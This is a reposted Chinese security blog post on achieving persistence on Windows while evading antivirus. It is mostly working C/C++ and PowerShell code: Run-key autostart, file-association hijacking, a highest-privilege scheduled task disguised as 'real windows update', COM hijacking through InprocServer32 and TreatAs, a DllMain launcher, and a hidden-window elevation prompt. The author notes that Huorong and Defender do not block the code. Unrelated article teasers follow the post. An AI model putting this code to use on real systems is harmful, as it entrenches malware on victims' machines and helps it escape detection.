浅谈免杀下的持久化

ops/2024/9/23 14:56:18/

文章目录

    • 前记
    • 注册表
    • 计划任务
    • COM劫持
    • 后记
    • reference

前记

实战中持久化的手段常用的就是加服务、添改注册表、加计划任务、劫持等,这里探索c/c++下的维权免杀

注册表

用户级

\HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
\HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce

系统级(需要管理员权限)

\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
\HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run
\HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce

详细代码

#include<stdio.h>
#include<windows.h>
int main(void)
{HKEY hKey;DWORD result;//打开注册表DWORD lRet = RegOpenKeyExA(HKEY_CURRENT_USER,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_SET_VALUE,&hKey);if (lRet != ERROR_SUCCESS)return 0;char szModule[MAX_PATH];GetModuleFileNameA(NULL, szModule, MAX_PATH);lRet = RegSetValueExA(hKey,"coleak",0,REG_SZ,(BYTE*)szModule,strlen(szModule));if (lRet == ERROR_SUCCESS)printf("success\n");else{printf("failed");}RegCloseKey(hKey);return 0;
}

如果拿到了管理员权限,还可以通过后缀劫持进行维权

#include <windows.h>
#include <stdio.h>void showErrorText(DWORD error_num);int main()
{HKEY hKey;DWORD result;char szModule[MAX_PATH];GetModuleFileNameA(NULL, szModule, MAX_PATH);// 要替换的程序, 没写 %1 即调用时不会把双击的文件路径传给exe//打开注册表result = RegOpenKeyExA(HKEY_CLASSES_ROOT, "xxx\\shell\\Open\\command", // 要打开的注册表项名称0,              // 保留参数必须填 0KEY_SET_VALUE,  // 打开权限,写入&hKey           // 打开之后的句柄);if (result == ERROR_SUCCESS){printf("open success!n");}else{printf("open failed!n");showErrorText(result);system("pause");return 0;}// 设置注册表的值result = RegSetValueExA(hKey,"",                // 设置默认值0,                 // 保留参数必须填 0REG_SZ,            // 键值类型为字符串(const unsigned char*)szModule, // 字符串首地址sizeof(szModule)       // 字符串长度);if (result == ERROR_SUCCESS){printf("set success!n");}else{printf("set failed!n");showErrorText(result);}//关闭注册表:RegCloseKey(hKey);// 暂停system("pause");return 0;
}/** 根据错误码输出错误信息*/
void showErrorText(DWORD error_num)
{char* msg = NULL;FormatMessageA(FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS,NULL,error_num,MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), // 使用默认语言(LPSTR)&msg,0,NULL);printf("Error code %d: ", error_num);if (msg == NULL)printf("%sn", "Unknown error");elseprintf("%sn", msg);
}

这里测试火绒和微软的defender都是不拦截的

计划任务

  • 触发器:定义了何时执行任务。可能是一次性的、按日程的、或者是响应特定事件的。
  • 操作:定义了任务执行的具体操作。可能是启动应用程序、发送电子邮件、显示消息等。
  • 条件:定义了任务执行的条件。例如,你可以配置任务仅在计算机空闲或只在特定的电源情况下执行。
  • 设置:定义了任务的其他设置,例如任务失败时重试的次数,任务运行的最长时间等。
#include <atlbase.h>
#include <comdef.h>
#include <iostream>
#include <Windows.h>
#include <shlobj_core.h>
#include <taskschd.h>
#pragma comment(lib, "taskschd.lib")ITaskService* m_lpITS = NULL;
ITaskFolder* m_lpRootFolder = NULL;//初始化COM组件
void Init() {//1.CoInitialize初始化COM组件HRESULT hr = CoInitialize(NULL);if (FAILED(hr)) {MessageBox(NULL, L"初始化COM组件失败", L"Failed", MB_OK);}//2.CoCreateInstance创建任务服务对象hr = CoCreateInstance(CLSID_TaskScheduler, NULL, CLSCTX_INPROC_SERVER, IID_ITaskService, (LPVOID*)&m_lpITS);if (FAILED(hr)) {MessageBox(NULL, L"创建任务服务失败", L"Failed", MB_OK);}//3.连接到任务服务hr = m_lpITS->Connect(_variant_t(), _variant_t(), _variant_t(), _variant_t());if (FAILED(hr)) {MessageBox(NULL, L"连接服务失败", L"Failed", MB_OK);}//4.从ITaskService对象中获取根任务Root Task Folder的指针对象ITaskFolder,这个指针指向新注册的任务hr = m_lpITS->GetFolder(_bstr_t("\\"), &m_lpRootFolder);if (FAILED(hr)) {MessageBox(NULL, L"获取指针失败", L"Failed", MB_OK);}
}//卸载COM组件
void UnInit() {if (m_lpITS){m_lpITS->Release();}if (m_lpRootFolder){m_lpRootFolder->Release();}CoUninitialize();
}//创建计划任务
BOOL CreateTask(const char* lpszTaskName, const char* lpszProgramPath, const char* lpszParameters, const char* lpszAuthor) {// 创建任务定义对象来创建任务//  If the same task exists, remove it.m_lpRootFolder->DeleteTask((BSTR)lpszTaskName,0);ITaskDefinition* pTaskDefinition = NULL;HRESULT hr = m_lpITS->NewTask(0, &pTaskDefinition);if (FAILED(hr)){return FALSE;}/* 设置注册信息 */IRegistrationInfo* pRegInfo = NULL;hr = pTaskDefinition->get_RegistrationInfo(&pRegInfo);if (FAILED(hr)){return FALSE;}// 设置作者信息hr = pRegInfo->put_Author(_bstr_t(lpszAuthor));pRegInfo->Release();/* 设置登录类型和运行权限 */IPrincipal* pPrincipal = NULL;hr = pTaskDefinition->get_Principal(&pPrincipal);if (FAILED(hr)){return FALSE;}// 设置登录类型hr = pPrincipal->put_LogonType(TASK_LOGON_INTERACTIVE_TOKEN);// 设置运行权限// 最高权限hr = pPrincipal->put_RunLevel(TASK_RUNLEVEL_HIGHEST);pPrincipal->Release();/* 设置其他信息 */ITaskSettings* pSettting = NULL;hr = pTaskDefinition->get_Settings(&pSettting);if (FAILED(hr)){return FALSE;}// 设置其他信息hr = pSettting->put_StopIfGoingOnBatteries(VARIANT_FALSE);hr = pSettting->put_DisallowStartIfOnBatteries(VARIANT_FALSE);hr = pSettting->put_AllowDemandStart(VARIANT_TRUE);hr = pSettting->put_StartWhenAvailable(VARIANT_FALSE);hr = pSettting->put_MultipleInstances(TASK_INSTANCES_PARALLEL);pSettting->Release();/* 创建执行动作 */IActionCollection* pActionCollect = NULL;hr = pTaskDefinition->get_Actions(&pActionCollect);if (FAILED(hr)){return FALSE;}IAction* pAction = NULL;// 创建执行操作hr = pActionCollect->Create(TASK_ACTION_EXEC, &pAction);pActionCollect->Release();/* 设置执行程序路径和参数 */CComVariant variantProgramPath(NULL);CComVariant variantParameters(NULL);IExecAction* pExecAction = NULL;hr = pAction->QueryInterface(IID_IExecAction, (PVOID*)(&pExecAction));if (FAILED(hr)){pAction->Release();return FALSE;}pAction->Release();// 设置程序路径和参数variantProgramPath = lpszProgramPath;variantParameters = lpszParameters;pExecAction->put_Path(variantProgramPath.bstrVal);pExecAction->put_Arguments(variantParameters.bstrVal);pExecAction->Release();/* 创建触发器,实现用户登陆自启动 */ITriggerCollection* pTriggers = NULL;hr = pTaskDefinition->get_Triggers(&pTriggers);if (FAILED(hr)){return FALSE;}// 创建触发器,把触发器设置为ITrigger* pTrigger = NULL;hr = pTriggers->Create(TASK_TRIGGER_LOGON, &pTrigger);if (FAILED(hr)){return FALSE;}/* 注册任务计划  */IRegisteredTask* pRegisteredTask = NULL;CComVariant variantTaskName(NULL);variantTaskName = lpszTaskName;hr = m_lpRootFolder->RegisterTaskDefinition(variantTaskName.bstrVal,pTaskDefinition,TASK_CREATE_OR_UPDATE,_variant_t(),_variant_t(),TASK_LOGON_INTERACTIVE_TOKEN,_variant_t(""),&pRegisteredTask);if (FAILED(hr)){pTaskDefinition->Release();return FALSE;}pTaskDefinition->Release();pRegisteredTask->Release();return TRUE;
}//删除计划任务
BOOL DeleteTask(char* lpszTaskName)
{if (NULL == m_lpRootFolder){return FALSE;}CComVariant variantTaskName(NULL);variantTaskName = lpszTaskName;HRESULT hr = m_lpRootFolder->DeleteTask(variantTaskName.bstrVal, 0);if (FAILED(hr)){return FALSE;}return TRUE;
}
int main()
{const char* lpszTaskName = "real windows update";   //任务名const char* lpszProgramPath = "c:\\windows\\system32\\calc.exe";  //要执行的程序路径const char* lpszParameters = "whoami";     //程序参数const char* lpszAuthor = "coleak";Init();BOOL bRet = CreateTask(lpszTaskName, lpszProgramPath, lpszParameters, lpszAuthor);if (!bRet) {printf("Create Task Failed");return -1;}UnInit();printf("Successd");return 0;
}

如图计划任务以最高权限运行,但是程序本身需要管理员权限才能添加成功

在这里插入图片描述

COM劫持

常见的手段如下

  • 修改已有的InprocServer32指向我们生成的dll
Import-Module .\Get-ScheduledTaskComHandler.ps1
Get-ScheduledTaskComHandlerreg add "HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{6F58F65F-EC0E-4ACA-99FE-FC5A1A25E4BE}\InprocServer32" /d "C:\security\tmp\Dll.dll" /t REG_SZ /f
  • 设置计划任务通过 powershell 或 vbs 脚本来调用自己注册的恶意 COM

可以结合上面的写注册表和计划任务将vbs放到自启动去拉起com的函数

  • 利用现有任务进行劫持

Action 为 Comhandler 的计划任务调用的全是系统内置 COM,他们在注册表中的修改权限都是 trustedinstaller,其他用户都只有读取权限。(需要3389修改拥有者)

  • TreatAS键劫持

关键点是找到修改无需权限的节点,节点新建到HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID或者HKCU\Software\Classes\CLSID无需高权限

#定义
$HKLM = "HKLM:\software\classes\CLSID"
$CLSID = "{C5602CE6-9B79-11D3-B654-581BBAEF8DBA}"
$HijackCLSID = "{46C166AA-3108-11D4-9348-00C04F8EEB71}"
$DLL = "C:\tmp\calculator_x64.dll"
#新建恶意CLSID节点{C5602CE6-9B79-11D3-B654-581BBAEF8DBA}
New-Item -Type Directory "$HKLM\$CLSID"
#将键值指向恶意文件的路径并设置DLL线程模型
New-Item -ItemType String "$HKLM\$CLSID\InprocServer32" -value $DLL
New-ItemProperty -Path "$HKLM\$CLSID\InprocServer32" -Name "ThreadingModel" -Value "Both"
#在家庭网络配置管理器下CLSID节点新建TreatAs键并将默认值指向恶意CLSID节点
New-Item -ItemType String "$HKLM\$HijackCLSID\TreatAs" -value $CLSID
#调用测试
rundll32.exe -sta $HijackCLSID
#环境恢复,删除TreatAs键和恶意CLSID节点
Remove-Item -Path "$HKLM\$CLSID" -recurse
Remove-Item -Path "$HKLM\$HijackCLSID\TreatAs" -recurse

测试

1、先尝试直接写注册表免注册com

# include <windows.h>
# include <tchar.h>
#include<iostream>
using namespace std;
int main(void)
{HKEY hKey = NULL;char subKey[] = "SOFTWARE\\Classes\\CLSIDk\\{C5602CE6-9B79-12D3-B654-581BBAEF8DCD}";DWORD dwOptions = REG_OPTION_NON_VOLATILE;DWORD dwDisposition;long resulte = RegCreateKeyExA(HKEY_CURRENT_USER, subKey, 0, NULL,dwOptions, KEY_WRITE, NULL, &hKey, &dwDisposition);char szModule[MAX_PATH]="C:\\security\\tmp\\ATLProject1.dll";DWORD lRet = RegSetValueExA(hKey,"InprocServer32",0,REG_SZ,(BYTE*)szModule,strlen(szModule));if (lRet == ERROR_SUCCESS)printf("success\n");else{printf("failed");}RegCloseKey(hKey);return 0;
}

调用的时候会报错如下:80040154 没有注册类(注册需要管理员权限),同时添加计划任务也需要管理员权限,非常不安全不建议这么搞

2、枚举可用于 COM 劫持的计划任务,然后在user注册表提前劫持或者通过TreatAS劫持

Import-Module .\Get-ScheduledTaskComHandler.ps1
Get-ScheduledTaskComHandler -PersistenceLocations

测试的dll必须加互斥规则

BOOL TestMutex()
{HANDLE hMutex = CreateMutex(NULL, false, "myself");  if (GetLastError() == ERROR_ALREADY_EXISTS){CloseHandle(hMutex);return 0;  }return 1;
}
BOOL APIENTRY DllMain( HANDLE hModule, DWORD  ul_reason_for_call, LPVOID lpReserved)
{switch (ul_reason_for_call){case DLL_PROCESS_ATTACH:if(TestMutex()==0)return TRUE;WinExec("calc.exe",SW_SHOWNORMAL);case DLL_THREAD_ATTACH:case DLL_THREAD_DETACH:case DLL_PROCESS_DETACH:break;}return TRUE;
}

后记

注册表功能

名称作用
HKEY_CLASSES_ROOT用于存储一些文档类型、类、类的关联属性。
HKEY_CURRENT_CONFIG用户存储有关本地计算机系统的当前硬件配置文件信息。
HKEY_CURRENT_USER用于存储当前用户配置项。
HKEY_LOCAL_MACHINE用于存储当前用户物理状态。
HKEY_USERS用于存储新用户的默认配置项。

CLSID

CLSID是微软提出的一个概念,中文翻译为:全局唯一标识符。CLSID是指Windows系统对于不同的应用程序,文件类型,OLE对象,特殊文件夹以及各种系统组件分配的一个唯一表示它的ID代码,用于对其身份的标识和与其他对象进行区分。

常见的CLSID:

{20D04FE0-3AEA-1069-A2D8-08002B30309D} 我的电脑
{450D8FBA-AD25-11D0-98A8-0800361B1103} 我的文档
{645FF040-5081-101B-9F08-00AA002F954E} 回收站

CLSID结构体:

typedef struct _GUID {DWORD Data1; // 随机数WORD Data2; // 和时间相关WORD Data3; // 和时间相关BYTE Data4[8]; // 和网卡MAC相关} GUID;typedef GUID CLSID;  // 组件IDtypedef GUID IID;    // 接口ID

注册表中的CLSID

CLSID Key:

Key Name说明
LocalServer32指定应用程序使用的自定义处理程序,即exe路径
InprocServer32/InprocHandler32模块、线程属性配置,即dll路径

COM组件寻找顺序

  • 1.HKCU\Software\Classes\CLSID
  • 2.HKCR\CLSID;HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID
  • 3.HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\ShellCompatibility\Objects\

理论上可行的3种劫持方案:

  • HKCR中有,而HKCU中没有,只需要在HKCU中注册即可劫持HKCR中的COM服务。
  • 修改掉LocalServer32InprocServer32的键值。
  • 替换掉LocalServer32InprocServer32的键值中的文件。

注册调用编写的com

regsvr32.exe -i ATLProject1.dll #这是注册
regsvr32.exe /u ATLProject1.dll #这是卸载
  • vbs
set com=CreateObject("ATLProject1.temp")
dim num
num=com.Number(2)
msgbox num
  • powershell
[activator]::CreateInstance([type]::GetTypeFromCLSID("1006b886-9932-45f8-ad39-bec8c210e15e")).Number(2)
  • cmd
rundll32.exe -sta {CLSID}

请求管理员

VOID ManagerRun(LPCSTR exe, LPCSTR param)
{SHELLEXECUTEINFOA ShExecInfo;ShExecInfo.cbSize = sizeof(SHELLEXECUTEINFO);ShExecInfo.fMask = SEE_MASK_NOCLOSEPROCESS;ShExecInfo.hwnd = NULL;ShExecInfo.lpVerb = "runas";ShExecInfo.lpFile = exe;ShExecInfo.lpParameters = param;ShExecInfo.lpDirectory = NULL;ShExecInfo.nShow = SW_SHOW;ShExecInfo.hInstApp = NULL;BOOL ret = ShellExecuteExA(&ShExecInfo);//杀掉当前线程CloseHandle(ShExecInfo.hProcess);return;
}int main(int argc, char* argv[]) {if (argc == 1) //初次运行,即双击EXE{ShowWindow(GetConsoleWindow(), SW_HIDE);ManagerRun(argv[0], "2");return 1;}else if (argc == 2) //再次运行,即上面那个ManagerRun{function();/*你的程序主代码在此*/}return 0;
}

reference

https://ruyueattention.github.io/2021/12/26/COM%E5%8A%AB%E6%8C%81/
https://bu1.github.io/2021/11/27/COM%E7%BB%84%E4%BB%B6%E5%8A%AB%E6%8C%81%E5%AD%A6%E4%B9%A0%EF%BC%9A%E4%BB%8E%E5%88%9D%E8%AF%86%E5%88%B0%E7%AE%80%E5%8D%95%E5%88%A9%E7%94%A8/
https://www.4hou.com/posts/Mo51
https://lellansin.wordpress.com/2014/07/28/%E6%9C%A8%E9%A9%AC%EF%BC%8C%E4%BD%A0%E5%A5%BD%EF%BC%81%EF%BC%88%E5%85%AB%EF%BC%89%E6%B3%A8%E5%86%8C%E8%A1%A8%E6%93%8D%E4%BD%9C/
https://github.com/enigma0x3/Misc-PowerShell-Stuff/
https://sp4zcmd.github.io/2021/02/28/%E4%BD%BF%E7%94%A8COM%E7%BB%84%E4%BB%B6%E5%88%9B%E5%BB%BA%E8%AE%A1%E5%88%92%E4%BB%BB%E5%8A%A1/

http://www.ppmy.cn/ops/14422.html

相关文章

从阿里云迁移Redis到AWS的规划和前期准备

在将Redis实例从阿里云迁移到AWS之前,需要进行全面的规划和前期准备。以下九河云提供一些重要的步骤和注意事项: 1. 评估Redis使用情况 首先,您需要评估当前Redis实例的使用情况,包括实例规格、内存使用量、吞吐量、访问模式等。这将有助于选择合适的AWS Redis产品和实例类型…

c++取经之路(其八)——基础模板

我认为的模板其实就是个懒人工具&#xff0c;你来弄个模板&#xff0c;编译器自动给你生成对应的函数。 函数模板&#xff1a; 定义&#xff1a;函数模板是一个蓝图&#xff0c;它本身并不是函数&#xff0c;是编译器用使用方式产生特定具体类型函数的模具。所以其实模板就是…

Prompt-to-Prompt Image Editing with Cross Attention Control

Prompt-to-Prompt Image Editing with Cross Attention Control TL; DR&#xff1a;prompt2prompt 提出通过替换 UNet 中的交叉注意力图&#xff0c;在图像编辑过程中根据新的 prompt 语义生图的同时&#xff0c;保持图像整体布局结构不变。从而实现了基于纯文本&#xff08;不…

HTTP如何自动跳转到HTTPS,免费SSL证书如何获取

如今HTTPS已经成为了网站标配&#xff0c;然而&#xff0c;对于一些刚刚起步的网站或是个人博客而言&#xff0c;如何自动跳转到HTTPS&#xff0c;以及免费SSL证书的获取&#xff0c;可能还是一个需要解决的问题。下面就来详细解答这两个问题。 我们需要先了解HTTP与HTTPS的区…

IO多路复用函数原型总结(方便查询)

一&#xff0c;select多路复用 1&#xff0c;select&#xff08;5&#xff09;函数原型 ​ 用来进行select多路复用。效率较低。返回值为正数&#xff0c;就是已经就绪的文件描述符的个数&#xff0c;出错返回负数&#xff0c;超时返回0。在Linux内核有个参数__FD_SETSIZE定义…

spring boot3单模块项目工程搭建-下(个人开发模板)

⛰️个人主页: 蒾酒 &#x1f525;系列专栏&#xff1a;《spring boot实战》 &#x1f30a;山高路远&#xff0c;行路漫漫&#xff0c;终有归途 目录 写在前面 上文衔接 常用依赖介绍以及整合 web组件 测试组件 样板代码生成 数据库连接器 常用工具包 面向切面编…

Vue_管道符“|”(单竖线)的用处

目录 1、管道符是什么 2、应用场景 背景&#xff1a;项目中偶遇在 {{ }} 插值表达式里用了 “&#xff5c;”此写法&#xff0c;一开始误以为是写错了&#xff0c;应该是写成 “&#xff5c;&#xff5c;” 双竖线&#xff08; 逻辑或运算符 &#xff09;&#xff0c;结果询问…

Java基础之JVM对象内存分配机制简介

一 对象内存分配 1.1 运行时数据区域 1.2 常见java应用启动JVM参数&#xff1a; -Xss&#xff1a;每个线程的栈大小(单位kb)-Xms&#xff1a;堆的初始大小&#xff0c;默认物理内存的1/64,示例&#xff1a;-Xms:4g -Xms:10m-Xmx&#xff1a;堆的最大可用大小&#xff0c;默认物…